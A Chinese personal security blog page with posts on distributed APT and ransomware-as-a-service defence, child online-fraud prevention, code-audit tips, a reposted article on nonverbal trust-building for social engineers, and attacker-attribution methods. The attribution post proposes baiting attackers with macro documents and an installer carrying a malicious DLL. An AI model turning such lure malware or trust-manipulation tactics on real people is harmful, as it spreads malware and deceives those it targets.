<!DOCTYPE html>


<html lang="en">
  

    <head>
      <meta charset="utf-8" />
        
      <meta
        name="viewport"
        content="width=device-width, initial-scale=1, maximum-scale=1"
      />
      <title> 小玉玉的博客</title>
  <meta name="generator" content="hexo-theme-ayer">
      
      <link rel="shortcut icon" href="/favicon.ico" />
       
<link rel="stylesheet" href="/dist/main.css">

      <link
        rel="stylesheet"
        href="https://cdn.jsdelivr.net/gh/Shen-Yu/cdn/css/remixicon.min.css"
      />
      
<link rel="stylesheet" href="/css/custom.css">
 
      <script src="https://cdn.jsdelivr.net/npm/pace-js@1.0.2/pace.min.js"></script>
       
 

      <!-- mermaid -->
      
    </head>
  </html>
</html>


<body>
  <div id="app">
    
      
    <main class="content on">
      
<section class="cover">
    
      
      <a class="forkMe" href="https://github.com/Shen-Yu/hexo-theme-ayer"
        target="_blank"><img width="149" height="149" src="/images/forkme.png"
          class="attachment-full size-full" alt="Fork me on GitHub" data-recalc-dims="1"></a>
    
  <div class="cover-frame">
    <div class="bg-box">
      <img src="/images/cover4.jpg" alt="image frame" />
    </div>
    <div class="cover-inner text-center text-white">
      <h1><a href="/">小玉玉的博客</a></h1>
      <div id="subtitle-box">
        
        <span id="subtitle"></span>
        
      </div>
      <div>
        
      </div>
    </div>
  </div>
  <div class="cover-learn-more">
    <a href="javascript:void(0)" class="anchor"><i class="ri-arrow-down-line"></i></a>
  </div>
</section>



<script src="https://cdn.jsdelivr.net/npm/typed.js@2.0.11/lib/typed.min.js"></script>


<!-- Subtitle -->

  <script>
    try {
      var typed = new Typed("#subtitle", {
        strings: ['随便写点东西', '', ''],
        startDelay: 0,
        typeSpeed: 200,
        loop: true,
        backSpeed: 100,
        showCursor: true
      });
    } catch (err) {
      console.log(err)
    }
  </script>
  
<div id="main">
  <section class="outer">
  
  
  

<div class="notice" style="margin-top:50px">
    <i class="ri-heart-fill"></i>
    <div class="notice-content" id="broad"></div>
</div>
<script type="text/javascript">
    fetch('https://v1.hitokoto.cn')
        .then(response => response.json())
        .then(data => {
            document.getElementById("broad").innerHTML = data.hitokoto;
        })
        .catch(console.error)
</script>

<style>
    .notice {
        padding: 20px;
        border: 1px dashed #e6e6e6;
        color: #969696;
        position: relative;
        display: inline-block;
        width: 100%;
        background: #fbfbfb50;
        border-radius: 10px;
    }

    .notice i {
        float: left;
        color: #999;
        font-size: 16px;
        padding-right: 10px;
        vertical-align: middle;
        margin-top: -2px;
    }

    .notice-content {
        display: initial;
        vertical-align: middle;
    }
</style>
  
  <article class="articles">
    
    
    
    
    <article
  id="post-APT攻击分布化的思考"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/05/25/APT%E6%94%BB%E5%87%BB%E5%88%86%E5%B8%83%E5%8C%96%E7%9A%84%E6%80%9D%E8%80%83/"
    >APT攻击分布化的思考</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/05/25/APT%E6%94%BB%E5%87%BB%E5%88%86%E5%B8%83%E5%8C%96%E7%9A%84%E6%80%9D%E8%80%83/" class="article-date">
  <time datetime="2021-05-24T18:55:55.000Z" itemprop="datePublished">2021-05-25</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近由darkside攻击事件思考了很多，尤其是RasS（勒索即服务）这种形式，也就是darkside只提供勒索服务，信息收集，打点，样本投放都由其他组织完成。其实在近几年的apt攻击中这种多组织合作的形式越来越扮演者重要的角色，也就是攻击的完整过程并不是完全由某一个apt组织完成的，攻击中的每个流程都有可能是通过不同的apt组织协同合作完成，这种形式给我们的网络安全防御带来了新的挑战和思考。</p>
<h1 id="APT分布式攻击的优点"><a href="#APT分布式攻击的优点" class="headerlink" title="APT分布式攻击的优点"></a>APT分布式攻击的优点</h1><h2 id="1-攻击特征多样化"><a href="#1-攻击特征多样化" class="headerlink" title="1.攻击特征多样化"></a>1.攻击特征多样化</h2><p>由于不同攻击流程都是由不同的apt组织完成的，所以攻击的痕迹或者特征有可能指向完全不同的组织。这提高了溯源和防守的时间成本，也降低了攻击的可识别度。</p>
<h2 id="2-攻击成本降低"><a href="#2-攻击成本降低" class="headerlink" title="2.攻击成本降低"></a>2.攻击成本降低</h2><p>不同的apt组织可以根据自己的效率选择针对自己效益最高的流程来做，效率提高并且多个组织合作能快速降低攻击的技术成本和资金成本，而且攻击的持续时间由于提前专门准备，所以时间会大大缩短。比如有专门的apt组织来做信息收集，另外一个专门负责样本编写，还有专门负责样本投放的。</p>
<h2 id="3-技术深度和针对性提高"><a href="#3-技术深度和针对性提高" class="headerlink" title="3.技术深度和针对性提高"></a>3.技术深度和针对性提高</h2><p>主页有专攻，一个apt组织其所属的人员不可能样样精通，但是多个apt组织合作就可以取长补短，对于目标的攻击能力会大大提高，而且针对目标的环境和社会属性还会选择特别的攻击手段。</p>
<h2 id="4-攻击索取收益大大提高"><a href="#4-攻击索取收益大大提高" class="headerlink" title="4.攻击索取收益大大提高"></a>4.攻击索取收益大大提高</h2><p>由于是多组织合作方式那么就必定会提高如赎金等攻击成果，这对企业不管是社会影响还是经济影响都是巨大的。</p>
<h1 id="企业在面对这种新形势的攻击该如何防御"><a href="#企业在面对这种新形势的攻击该如何防御" class="headerlink" title="企业在面对这种新形势的攻击该如何防御"></a>企业在面对这种新形势的攻击该如何防御</h1><h2 id="1-专注威胁分析的同时多追踪情报来源"><a href="#1-专注威胁分析的同时多追踪情报来源" class="headerlink" title="1.专注威胁分析的同时多追踪情报来源"></a>1.专注威胁分析的同时多追踪情报来源</h2><p>多个apt组织合作攻击往往攻击的面和可溯源的点都会更加复杂，所以我们应该把重心更偏向于组织间合作的线索作为我们的突破口，这在实际行动中体现为多寻找威胁情报来源处的平台中其他有用的线索比如组织间合作交流的内容等作为我们溯源和打击这类攻击的重要手段。</p>
<h2 id="2-攻击成果的分赃作为企业追踪的主要对象"><a href="#2-攻击成果的分赃作为企业追踪的主要对象" class="headerlink" title="2.攻击成果的分赃作为企业追踪的主要对象"></a>2.攻击成果的分赃作为企业追踪的主要对象</h2><p>和单一的apt组织攻击不同的点是，多个apt攻击完成之后由于是组织与组织之间，所以会多出一个分赃成果的步骤，这一步也是我们去溯源反制的重要内容。</p>
<h2 id="3-加强工具和样本的特征识别"><a href="#3-加强工具和样本的特征识别" class="headerlink" title="3.加强工具和样本的特征识别"></a>3.加强工具和样本的特征识别</h2><p>除了传统的特征之外多个apt组织攻击时经常会有的特征就是使用的工具或者样本往往会有二次开发的痕迹，以这个二次开发的痕迹着手能更快地理出除了当前特征对应的组织外的其他合作组织。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>RasS只是现在网络威胁发展的一角，攻击流程的多样化和分布化，攻击组织的合作趋势会是今后网络安全威胁的重要发展方向，黑灰产的产业化和工业流水线式的服务提供更是今后企业面对的传统网络威胁的重中之重。对于这种趋势，我们更要加强平台管理和组织间的合作打击，把攻击过程打击在合作上，让整个攻击流程扼杀在摇篮中。</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-针对未成年人的网络犯罪思考"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/05/10/%E9%92%88%E5%AF%B9%E6%9C%AA%E6%88%90%E5%B9%B4%E4%BA%BA%E7%9A%84%E7%BD%91%E7%BB%9C%E7%8A%AF%E7%BD%AA%E6%80%9D%E8%80%83/"
    >针对未成年人的网络犯罪思考</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/05/10/%E9%92%88%E5%AF%B9%E6%9C%AA%E6%88%90%E5%B9%B4%E4%BA%BA%E7%9A%84%E7%BD%91%E7%BB%9C%E7%8A%AF%E7%BD%AA%E6%80%9D%E8%80%83/" class="article-date">
  <time datetime="2021-05-10T13:55:11.000Z" itemprop="datePublished">2021-05-10</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>央视网最近发表一篇文章为《孩子手机依赖，赖谁？》</p>
<p>文章中指出，随着科技和经济的发展，未成年人拥有手机的比例和依赖手机的时间越来越高，虽然城市未成年人拥有手机的比例更高，但是农村未成年人依赖手机的比例却更高。当然，本文不讨论社会学相关，只讨论这种现象有可能带来的有关未成年人遭遇网络犯罪如诈骗等所带来的影响。</p>
<h1 id="孩子为什么会拿起手机？"><a href="#孩子为什么会拿起手机？" class="headerlink" title="孩子为什么会拿起手机？"></a>孩子为什么会拿起手机？</h1><p>原文：在手机依赖问题上，除了学校对学生手机管理不力之外，《报告》指出，子女手机依赖行为的产生受其父母手机依赖行为的影响较大。</p>
<p>文章中指出，父母与子女之间的沟通问题是造成未成年人依赖手机的主要原因。那么这中间就会存在一个隐患就是父母对于子女的防骗或者说是网络犯罪防范教育是比较缺乏的。由于未成年人对于社会及他人的感知力较弱，社会经验不足的问题，其受骗率会比成年人更高，尤其是会轻易对陌生人付出更多的信任，这种信任通常是由于再家庭环境中家庭关系信任不足导致的。其次就是现在就连很多成年人对于网络犯罪中的技术识别能力都是比较弱的，更何况对于自己的子女教育如何识别网络犯罪以及遇到网络犯罪后如何有效保护自己的合法利益，这在一定程度上给违法犯罪分子给予了一定的操作空间和利益。</p>
<h1 id="心理学与防范"><a href="#心理学与防范" class="headerlink" title="心理学与防范"></a>心理学与防范</h1><p>从网络犯罪者来说，一个不完善的家庭教育所带来的子女思想和对社会的观察是也是不完善的，对于尤其是网络诈骗来说是尤其容易的。比如利用家庭关系中的弱点或者父母对子女教育的缺陷作为突破口从而更加容易地获得未成年人对陌生人的信任。</p>
<p>在遇到网络犯罪时，由于缺乏法律教育和保护教育，对于自己已经受损的利益现在的未成年人通常做的决策会更加保守，也更加不会去寻求他人的正确帮助。</p>
<h2 id="防范"><a href="#防范" class="headerlink" title="防范"></a>防范</h2><h3 id="1-及时的教育和引导"><a href="#1-及时的教育和引导" class="headerlink" title="1.及时的教育和引导"></a>1.及时的教育和引导</h3><p>多寻找些针对未成年人的诈骗或者网络犯罪的案例，从案例出发教育和引导未成年人构建自己的网络犯罪安全意识。</p>
<h3 id="2-有效率的监测和预警"><a href="#2-有效率的监测和预警" class="headerlink" title="2.有效率的监测和预警"></a>2.有效率的监测和预警</h3><p>什么叫做有效率呢？很简单，从黑白名单出发，告诉自己子女遇到什么情况的时候要及时通报父母，遇到什么事情的时候要及时报警。当子女遇到这些情况的时候要及时地介入并在确认自己的合法利益被侵犯时要及时寻找警方帮助。</p>
<h3 id="3-积极地维护合法权益"><a href="#3-积极地维护合法权益" class="headerlink" title="3.积极地维护合法权益"></a>3.积极地维护合法权益</h3><p>当遇到针对未成年人的网络犯罪行为的时候，要主动积极地联系警方打击这类违法犯罪行为。这样既有效地保护了自己地合法权益也让网络犯罪的违法分子没有可乘之机和侥幸心理。</p>
<h1 id="技术与防范"><a href="#技术与防范" class="headerlink" title="技术与防范"></a>技术与防范</h1><p>随着利用互联网的普及和网络犯罪技术的发展，手机等移动设备已经成为网络犯罪的重灾区，很多传统的网络犯罪技术也越来越向移动互联网设备转移。其中很多技术具有很高的迷惑性，让人难以分别也更容易陷入其中。</p>
<h2 id="防范-1"><a href="#防范-1" class="headerlink" title="防范"></a>防范</h2><h3 id="1-给自己和子女设好一个安全基线"><a href="#1-给自己和子女设好一个安全基线" class="headerlink" title="1.给自己和子女设好一个安全基线"></a>1.给自己和子女设好一个安全基线</h3><p>也就是在任何时候都要做好的网络安全保护意识，比如不要轻易链接公共场合的wifi，在打开网页时需要确认是否合规合法，在接受到熟人信息时要做再确认，不要轻易接受陌生人发送的文件等。</p>
<h3 id="2-尽力做好最新网络犯罪技术的了解"><a href="#2-尽力做好最新网络犯罪技术的了解" class="headerlink" title="2.尽力做好最新网络犯罪技术的了解"></a>2.尽力做好最新网络犯罪技术的了解</h3><p>这一点没法做到最好，只能说多抽点时间多了解最新的技术发展和网络犯罪技术的利用和案例，不断地提高自己地安全意识。万一以后遇到一个网络犯罪场景是自己之前了解过的那么处理和应对起来就会比较有效和轻松。</p>
<h3 id="3-一切以自己的合法权益为主"><a href="#3-一切以自己的合法权益为主" class="headerlink" title="3.一切以自己的合法权益为主"></a>3.一切以自己的合法权益为主</h3><p>不管犯罪分子使用什么样的网络犯罪手段，一定要清醒地认识到自己的权益是否受到了侵犯，只有做好这个“红线”，这样才能在面对日新月异的网络犯罪中清楚地识别出来。</p>
<h1 id="结尾"><a href="#结尾" class="headerlink" title="结尾"></a>结尾</h1><p>原文：当“教育内卷”“鸡娃”成为时代焦虑，或许家长们更应该冷静下来。正如全国政协委员、江苏省锡山高级中学校长唐江澎在今年两会上所言：“好的教育，应该是培养终生运动者，责任担当者，问题解决者和优雅生活者，给孩子们健全而优秀的人格赢得未来的幸福，造福国家社会。”</p>
<p>中国的年轻人的未来，基础就是平安幸福的生活。抵制和防范网络犯罪行为应该被纳入重点的教育内容之中，不管是家庭还是学校，都要普及好网络安全教育，这样孩子在使用手机等移动互联网设备的时候我们才能更加地安心。</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-代码审计小提示"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/05/06/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%B0%8F%E6%8F%90%E7%A4%BA/"
    >代码审计小提示</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/05/06/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%B0%8F%E6%8F%90%E7%A4%BA/" class="article-date">
  <time datetime="2021-05-06T12:39:33.000Z" itemprop="datePublished">2021-05-06</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h1 id="代码审计简单的小提示"><a href="#代码审计简单的小提示" class="headerlink" title="代码审计简单的小提示"></a>代码审计简单的小提示</h1><hr>
<h2 id="1-代码审计需要的东西"><a href="#1-代码审计需要的东西" class="headerlink" title="1.代码审计需要的东西"></a>1.代码审计需要的东西</h2><h3 id="1-1-软件："><a href="#1-1-软件：" class="headerlink" title="1.1 软件："></a>1.1 软件：</h3><p>1.1.1 文本编辑器：</p>
<p>notepad++、sublime、PHP storm</p>
<p>1.1.2 代码运行环境：</p>
<p>phpstudy</p>
<p>1.1.3 辅助审计工具：</p>
<p>kunlunM，seay</p>
<h3 id="1-2-知识："><a href="#1-2-知识：" class="headerlink" title="1.2 知识："></a>1.2 知识：</h3><p>1.2.1 前端语言知识：</p>
<p>html、css、js</p>
<p>1.2.2 脚本语言知识：</p>
<p>php、asp、jsp</p>
<p>1.2.3 后端语言知识：</p>
<p>python-&gt;django、flask</p>
<p>java-&gt;vue、spring</p>
<p>1.2.4 数据库知识：</p>
<p>数据库语句、数据库结构、数据库使用</p>
<p>1.2.5 网站结构知识：</p>
<p>mvc等（如cms的基本结构）</p>
<h2 id="2-代码审计的基本流程"><a href="#2-代码审计的基本流程" class="headerlink" title="2.代码审计的基本流程"></a>2.代码审计的基本流程</h2><p>2.1 了解目标的基本组织结构，也就是通读文件夹，知道哪些文件夹里面大概是哪些内容并且具体负责什么功能</p>
<p>2.2 寻找主要的入口页面（如index、admin等）找到前端页面逻辑触发的入口</p>
<p>2.3 遍历所有的功能函数并且了解基本的传参过程和内部处理逻辑</p>
<p>2.4 搭建运行环境并且收集所有用户可以控制的变量和参数</p>
<p>2.5 将收集到的变量和参数对照源代码带入并检查过滤机制</p>
<h2 id="3-常见的漏洞点和源代码的关系"><a href="#3-常见的漏洞点和源代码的关系" class="headerlink" title="3.常见的漏洞点和源代码的关系"></a>3.常见的漏洞点和源代码的关系</h2><h3 id="3-1-寻找技巧："><a href="#3-1-寻找技巧：" class="headerlink" title="3.1 寻找技巧："></a>3.1 寻找技巧：</h3><p>搜索引擎 “脚本语言+危险函数“</p>
<h3 id="3-2-基本的漏洞机制："><a href="#3-2-基本的漏洞机制：" class="headerlink" title="3.2 基本的漏洞机制："></a>3.2 基本的漏洞机制：</h3><p>注入-&gt;用户输入不受控制并且能拼接上开发者原本代码</p>
<p>文件上传等-&gt;黑白名单不完善或者缺失</p>
<p>反序列化-&gt;类的关联和敏感函数</p>
<p>逻辑漏洞等-&gt;参数类型没有问题但是影响业务风险</p>
<h2 id="4-总结"><a href="#4-总结" class="headerlink" title="4.总结"></a>4.总结</h2><p>耐心、细心</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-转载文章-Nonverbal Communication -A Valuable Tool to Gain Trust"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/05/02/%E8%BD%AC%E8%BD%BD%E6%96%87%E7%AB%A0-Nonverbal%20Communication%20-A%20Valuable%20Tool%20to%20Gain%20Trust/"
    >转载文章-Nonverbal Communication -A Valuable Tool to Gain Trust</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/05/02/%E8%BD%AC%E8%BD%BD%E6%96%87%E7%AB%A0-Nonverbal%20Communication%20-A%20Valuable%20Tool%20to%20Gain%20Trust/" class="article-date">
  <time datetime="2021-05-02T10:29:23.000Z" itemprop="datePublished">2021-05-02</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <p>[原文](<a target="_blank" rel="noopener" href="https://www.social-engineer.org/social-engineering/nonverbal-communication-a-valuable-tool-to-gain-trust/">Nonverbal Communication -A Valuable Tool to Gain Trust - Security Through Education (social-engineer.org)</a>)</p>
<p>You may have heard the saying “actions speak louder than words”. The same is true about nonverbal communication. Our posture, gestures and other nonverbal cues send messages that reach people in a much deeper level than words. Our nonverbals can add validity to our words or do the opposite. Becoming self-aware and improving our nonverbal communication can be a valuable tool in gaining trust from others. What is nonverbal Communication?</p>
<p>Nonverbal communication is defined as communication without words. It includes behaviors such as facial expressions, eyes, touching, and tone of voice. Also included are dress, posture and distance. UCLA did a study which found a majority of communication to be nonverbal. 7% of any message to be relayed through words, 38% through vocal elements such as tone, and 55% through nonverbal elements. Nonverbal communication plays a vital role in how we communicate (whether we are aware of it or not). Whether you are a salesperson, public speaker, or a social engineer, much of your success depends on effective nonverbal communication. The following are three ways you can use the power of nonverbal communication to build better relationships and gain trust.</p>
<h1 id="Eye-Contact"><a href="#Eye-Contact" class="headerlink" title="Eye Contact"></a>Eye Contact</h1><p>Have you ever met someone for the first time and had the feeling that you could not trust them? Or were you speaking to a friend who was looking at their phone while you spoke to them? Eye contact is a form of body language which is essential during communication. In western culture, keeping eye contact is part of active listening. It lets the person we are talking to know that we are focused on what they are saying and that what they say matters. Ideal eye contact should last between 4-5 seconds, as you look away, do it slowly. Looking away too quickly can make you appear nervous. As the conversation unfolds, you can continue to look at the person’s face (nose, mouth, chin) and make eye contact intermittently as prolonged eye contact can be intimidating.</p>
<p>Also, consider the other person’s culture and find out if making eye contact in their culture is considered respectful. Eye contact is a crucial step in building trust. The person whom you are talking to will be more likely to trust you as eye contact indicates an openness in communication.</p>
<h1 id="Mirroring"><a href="#Mirroring" class="headerlink" title="Mirroring"></a>Mirroring</h1><p>Mirroring is the act of copying another person’s body language, mannerisms, and repeating their words. You may have noticed that when people are having an enjoyable conversation, they subtly (often unconsciously) imitate each other’s behavior. You can intentionally create rapport and gain trust by mirroring their body language. For example, if they’re leaning forward, lean in, or if they’re gesturing with their hands try to use similar hand gestures. You should do this subtly and naturally. The last thing you want is to make the other person feel you are mocking them or to make them feel uncomfortable. Mirroring is a skill that takes time to master. When done correctly, mirroring promotes positive feelings and helps to covey feelings of trust. The goal is to make the other person feel that we are like them. This will make it easier to develop trust at an unconscious level.</p>
<h1 id="It’s-Not-What-You-Say"><a href="#It’s-Not-What-You-Say" class="headerlink" title="It’s Not What You Say"></a>It’s Not What You Say</h1><p>It’s not what you say, it’s how you say it. Much of how you gain trust, depends on being aware of your vocal nonverbal cues. You may be thinking – how can nonverbal cues be used if I’m using my voice? According to Quantified Communications, a communications analytics company “It is hard to hear the sound of your own voice. But that sound may affect other people’s impressions of you even more than what you say.” Our words convey a message, while our tone conveys feeling. For example, the phrase “that’s too bad” can sound quite different depending on who you are talking to and the message you’re trying to convey. In one situation it may sound sarcastic, while in another your tone may convey empathy.</p>
<p>Our tone of voice is particularly important when speaking over the phone. In his book “Silent Messages,” Albert Mehrabian says that if there is a discrepancy between the person’s words and tone of voice, 85% of the time, people will trust what they hear in the tone of the voice over the actual words. Whatever the sound of your voice is, it’s most important that your tone conveys sincerity. Keeping a steady pace, not speaking too fast or too slow. As well as smiling when appropriate, can turn your voice into a tool for persuasion.</p>
<h1 id="Practice-Makes-Perfect"><a href="#Practice-Makes-Perfect" class="headerlink" title="Practice Makes Perfect"></a>Practice Makes Perfect</h1><p>All of us express ourselves using nonverbal cues by instinct, however mastering the art of nonverbal communication takes time, awareness, and practice. By becoming more aware of other people’s nonverbal cues, we can gain a better understanding of what a person is really trying to say. Being more aware of our own nonverbal cues, enables us to communicate with others more effectively as well as create an atmosphere of trust and empathy.</p>
<p>This article barely scratched the surface of nonverbal communication, would you like to learn more? This year’s Human Hacking Conference taking place March 11-13, will include workshops taught by world-renowned leaders in behavior, physiology, deception, technology, and psychology as well as specialized learning including Nonverbals, SE Pentesting, Physical and Psychological Influence, and Personal Development. These skills and insights will benefit attendees both personally and professionally, from learning how to “read” someone’s mind, to spotting deception and other key body language indicators, to understanding how people make decisions and how to influence their decisions, and much, much more.</p>
<h3 id="Sources"><a href="#Sources" class="headerlink" title="Sources"></a>Sources</h3><p><a target="_blank" rel="noopener" href="https://www.social-engineer.org/general-blog/a-good-lesson-on-reading-nonverbals-by-david-kennedy/">https://www.social-engineer.org/general-blog/a-good-lesson-on-reading-nonverbals-by-david-kennedy/</a><br><a target="_blank" rel="noopener" href="http://www.kaaj.com/psych/smorder.html">http://www.kaaj.com/psych/smorder.html</a><br><a target="_blank" rel="noopener" href="https://www.social-engineer.org/social-engineering/active-listening-the-secret-to-any-successful-negotiation/">https://www.social-engineer.org/social-engineering/active-listening-the-secret-to-any-successful-negotiation/</a><br><a target="_blank" rel="noopener" href="https://www.quantifiedcommunications.com/blog/wsj-is-this-how-you-really-talk/">https://www.quantifiedcommunications.com/blog/wsj-is-this-how-you-really-talk/</a><br><a target="_blank" rel="noopener" href="https://www.bl.uk/people/albert-mehrabian">https://www.bl.uk/people/albert-mehrabian</a><br><a target="_blank" rel="noopener" href="https://www.humanhackingconference.com/">https://www.humanhackingconference.com/</a></p>
<h3 id="Images"><a href="#Images" class="headerlink" title="Images"></a>Images</h3><p><a target="_blank" rel="noopener" href="https://www.thecut.com/2016/06/10-extremely-precise-words-for-emotions-you-didnt-even-know-you-had.html">https://www.thecut.com/2016/06/10-extremely-precise-words-for-emotions-you-didnt-even-know-you-had.html</a><br><a target="_blank" rel="noopener" href="https://www.bloomberg.com/news/articles/2013-10-17/in-business-eye-contact-is-overrated-and-depends-on-the-situation">https://www.bloomberg.com/news/articles/2013-10-17/in-business-eye-contact-is-overrated-and-depends-on-the-situation</a><br><a target="_blank" rel="noopener" href="http://interviewmasterinindia.blogspot.com/2013/07/interview-body-languages-mirror-image.html/">http://interviewmasterinindia.blogspot.com/2013/07/interview-body-languages-mirror-image.html/</a></p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <footer class="article-footer">
       
    </footer>
  </div>

   
    
</article>

    
    <article
  id="post-溯源的基本思路"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h2 itemprop="name">
  <a class="article-title" href="/2021/04/08/%E6%BA%AF%E6%BA%90%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/"
    >溯源的基本思路</a> 
</h2>
 

      
    </header>
     
    <div class="article-meta">
      <a href="/2021/04/08/%E6%BA%AF%E6%BA%90%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/" class="article-date">
  <time datetime="2021-04-08T13:11:57.000Z" itemprop="datePublished">2021-04-08</time>
</a>    
    </div>
      
    <div class="article-entry" itemprop="articleBody">
       
  <h1 id="溯源的基本思路"><a href="#溯源的基本思路" class="headerlink" title="溯源的基本思路"></a>溯源的基本思路</h1><p>这只是基本的溯源思路和思考方式。</p>
<h2 id="1-溯源目的"><a href="#1-溯源目的" class="headerlink" title="1.溯源目的"></a>1.溯源目的</h2><h3 id="1-1-你想要溯源到什么东西"><a href="#1-1-你想要溯源到什么东西" class="headerlink" title="1.1 你想要溯源到什么东西"></a>1.1 你想要溯源到什么东西</h3><p>要有明确的溯源目标</p>
<h3 id="1-2-当前条件下能用什么东西来溯源"><a href="#1-2-当前条件下能用什么东西来溯源" class="headerlink" title="1.2 当前条件下能用什么东西来溯源"></a>1.2 当前条件下能用什么东西来溯源</h3><p>身边可以利用的工具或者方法</p>
<h2 id="2-溯源的结论"><a href="#2-溯源的结论" class="headerlink" title="2.溯源的结论"></a>2.溯源的结论</h2><h3 id="2-1-任何再完美的溯源都是有可能失败的，攻防本身就是技术储备的对抗。"><a href="#2-1-任何再完美的溯源都是有可能失败的，攻防本身就是技术储备的对抗。" class="headerlink" title="2.1 任何再完美的溯源都是有可能失败的，攻防本身就是技术储备的对抗。"></a>2.1 任何再完美的溯源都是有可能失败的，攻防本身就是技术储备的对抗。</h3><h3 id="2-2-社会工程学，yyds！"><a href="#2-2-社会工程学，yyds！" class="headerlink" title="2.2 社会工程学，yyds！"></a>2.2 社会工程学，yyds！</h3><h2 id="3-溯源的途径"><a href="#3-溯源的途径" class="headerlink" title="3.溯源的途径"></a>3.溯源的途径</h2><h3 id="3-1-电子设备"><a href="#3-1-电子设备" class="headerlink" title="3.1 电子设备"></a>3.1 电子设备</h3><p>移动设备（手机等）和移不动设备（计算机等）</p>
<h3 id="3-2-非电子设备"><a href="#3-2-非电子设备" class="headerlink" title="3.2 非电子设备"></a>3.2 非电子设备</h3><p>快递，书信，线下battle等</p>
<h2 id="4-溯源的思考方式"><a href="#4-溯源的思考方式" class="headerlink" title="4.溯源的思考方式"></a>4.溯源的思考方式</h2><p>攻击者的攻击方式大部分都是攻击计算机（买通防守方除外），所以最初接触到攻击者都是在网络上，那么就需要思考网络上存在的东西哪些是可以利用的：</p>
<h3 id="4-1-技术手段"><a href="#4-1-技术手段" class="headerlink" title="4.1 技术手段"></a>4.1 技术手段</h3><h4 id="4-1-1-ip（不可能是真的）："><a href="#4-1-1-ip（不可能是真的）：" class="headerlink" title="4.1.1 ip（不可能是真的）："></a>4.1.1 ip（不可能是真的）：</h4><p>节点的提供商-》有没有可能联系到客服-》客服有没有可能套出购买者信息；节点有没有可能进入或者找到方法去找到控制端</p>
<h4 id="4-1-2-域名（不可能查得到的）："><a href="#4-1-2-域名（不可能查得到的）：" class="headerlink" title="4.1.2 域名（不可能查得到的）："></a>4.1.2 域名（不可能查得到的）：</h4><p>域名的提供商-》有没有可能拿到信息</p>
<h4 id="4-1-3-攻击者的技术手段："><a href="#4-1-3-攻击者的技术手段：" class="headerlink" title="4.1.3 攻击者的技术手段："></a>4.1.3 攻击者的技术手段：</h4><p>可以基本判断攻击者的技术水平和知识储备</p>
<h4 id="4-1-4-攻击时间（很多都是脚本自动跑）："><a href="#4-1-4-攻击时间（很多都是脚本自动跑）：" class="headerlink" title="4.1.4 攻击时间（很多都是脚本自动跑）："></a>4.1.4 攻击时间（很多都是脚本自动跑）：</h4><p>判断攻击者的常见时间</p>
<p>以上就是能够通过技术手段收集到的内容，接下来我们就需要使用非技术手段了。</p>
<h3 id="4-2-非技术手段"><a href="#4-2-非技术手段" class="headerlink" title="4.2 非技术手段"></a>4.2 非技术手段</h3><h4 id="4-2-1-攻击者可能感兴趣的信息进行诱导"><a href="#4-2-1-攻击者可能感兴趣的信息进行诱导" class="headerlink" title="4.2.1 攻击者可能感兴趣的信息进行诱导"></a>4.2.1 攻击者可能感兴趣的信息进行诱导</h4><p>比如存放一些网站地址或者ip信息或者密码信息，但是这些信息都是指向蜜罐的</p>
<h4 id="4-2-2-根据自身业务内容逻辑存放攻击者感兴趣的东西"><a href="#4-2-2-根据自身业务内容逻辑存放攻击者感兴趣的东西" class="headerlink" title="4.2.2 根据自身业务内容逻辑存放攻击者感兴趣的东西"></a>4.2.2 根据自身业务内容逻辑存放攻击者感兴趣的东西</h4><p>比如带宏的excel文档名字叫《公司财务规划总结》等</p>
<p>比如带恶意dll的oa客户端名字叫《XX公司内部通达OA系统安装包》等</p>
